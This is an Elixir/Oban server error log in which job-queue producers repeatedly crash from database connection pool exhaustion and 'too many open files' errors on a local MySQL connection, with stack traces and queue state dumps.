State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:13:14.240545Z], limit: 20, uuid: "7672e52a-f6f8-4f07-90b5-23ce17cd7d35", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:13:14.240552Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.166239>, refresh_timer: #Reference<0.2525715032.1068498948.50865>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:13:26.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1013ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:13:14.241744Z], limit: 5, uuid: "503c7c9f-b4c1-46f9-98ee-1a73c2e6de2d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:13:14.241749Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.166240>, refresh_timer: #Reference<0.2525715032.1068498948.50885>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:13:26.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1018ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:13:14.240755Z], limit: 10, uuid: "4012d958-f10b-41b5-af99-3b12dc3da19b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:13:14.240761Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.166236>, refresh_timer: #Reference<0.2525715032.1121189889.166219>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:13:29.894000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:13:32.702000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:13:34.007000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:13:34.647000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:13:35.465000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:13:38.213000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:13:38.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1042ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:13:26.239666Z], limit: 3, uuid: "17c21723-d8b2-40ae-a5b0-1f11a7eec9a6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:13:26.239670Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.166607>, refresh_timer: #Reference<0.2525715032.1121189889.166588>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:13:38.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1040ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:13:26.239551Z], limit: 20, uuid: "7fd54c65-36aa-438b-bdf1-ef835b16e8ba", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:13:26.239557Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.166611>, refresh_timer: #Reference<0.2525715032.1077673987.28409>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:13:38.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1061ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:13:26.239810Z], limit: 50, uuid: "ea814860-6383-4263-a7d4-dab64a75287b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:13:26.239815Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.166610>, refresh_timer: #Reference<0.2525715032.1099431938.52011>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:13:38.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 887ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:13:26.240753Z], limit: 10, uuid: "216d2053-565c-4ffd-834a-edaf7ce70da6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:13:26.240759Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.166612>, refresh_timer: #Reference<0.2525715032.1077673987.28422>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:13:38.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 838ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:13:26.239322Z], limit: 5, uuid: "3007a750-7cf1-4dbe-bf68-c80930350b0a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:13:26.239329Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.166609>, refresh_timer: #Reference<0.2525715032.1099431938.52000>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:13:38.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 837ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:13:26.239578Z], limit: 5, uuid: "16f7ffd4-10e6-4306-9782-192ac07d8ec6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:13:26.239584Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.166608>, refresh_timer: #Reference<0.2525715032.1099431938.52005>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:13:40.155000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:13:40.422000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:13:43.358000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:13:43.599000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:13:48.247000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:13:49.212000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:13:50.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
